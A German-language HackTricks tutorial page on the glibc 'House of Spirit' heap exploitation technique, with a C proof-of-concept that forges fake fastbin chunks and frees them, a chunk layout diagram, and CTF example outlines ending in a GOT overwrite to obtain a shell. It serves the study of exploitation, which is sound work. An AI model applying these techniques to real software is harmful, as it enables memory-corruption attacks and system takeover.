House of Spirit

Unterstützen Sie HackTricks

Grundlegende Informationen

Code

Haus des Geistes

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Ziel

* In der Lage sein, eine Adresse in den tcache / fast bin hinzuzufügen, damit es später möglich ist, sie zuzuweisen

### Anforderungen

* Dieser Angriff erfordert, dass ein Angreifer in der Lage ist, ein paar gefälschte schnelle Chunks zu erstellen, die den Größenwert korrekt angeben, und dann den ersten gefälschten Chunk freizugeben, damit er in den Bin gelangt.

### Angriff

* Erstellen von gefälschten Chunks, die Sicherheitsüberprüfungen umgehen: Sie benötigen im Grunde genommen 2 gefälschte Chunks, die die richtigen Größenwerte an den richtigen Positionen angeben
* Auf irgendeine Weise den ersten gefälschten Chunk freigeben, damit er in den schnellen oder tcache bin gelangt und dann ihn zuweisen, um diese Adresse zu überschreiben

**Der Code von** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **ist großartig, um den Angriff zu verstehen.** Obwohl dieses Schema aus dem Code es ziemlich gut zusammenfasst:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Beachten Sie, dass es notwendig ist, den zweiten Chunk zu erstellen, um einige Integritätsprüfungen zu umgehen.

Beispiele

  • Libc-Infoleak: Über einen Überlauf ist es möglich, einen Zeiger so zu ändern, dass er auf eine GOT-Adresse zeigt, um über die Leseaktion des CTF eine libc-Adresse preiszugeben.

  • House of Spirit: Durch den Missbrauch eines Zählers, der die Anzahl der "Gewehre" zählt, ist es möglich, eine gefälschte Größe des ersten gefälschten Chunks zu generieren. Dann, durch den Missbrauch einer "Nachricht", ist es möglich, die zweite Größe eines Chunks zu fälschen und schließlich durch einen Überlauf ist es möglich, einen Zeiger zu ändern, der freigegeben wird, sodass unser erster gefälschter Chunk freigegeben wird. Dann können wir ihn zuweisen und darin befindet sich die Adresse, an der die "Nachricht" gespeichert ist. Dann ist es möglich, dies auf den scanf-Eintrag im GOT-Table zeigen zu lassen, damit wir ihn mit der Adresse zu system überschreiben können. Das nächste Mal, wenn scanf aufgerufen wird, können wir die Eingabe "/bin/sh" senden und eine Shell erhalten.

  • Glibc-Leak: Nicht initialisierter Stapelpuffer.

  • House of Spirit: Wir können den ersten Index eines globalen Arrays von Heap-Zeigern ändern. Mit einer einzigen Byte-Änderung verwenden wir free auf einem gefälschten Chunk innerhalb eines gültigen Chunks, sodass wir nach erneuter Zuweisung in eine Situation mit überlappenden Chunks geraten. Damit funktioniert ein einfacher Tcache-Vergiftungsangriff, um eine beliebige Schreibprimitive zu erhalten.

Referenzen

Last updated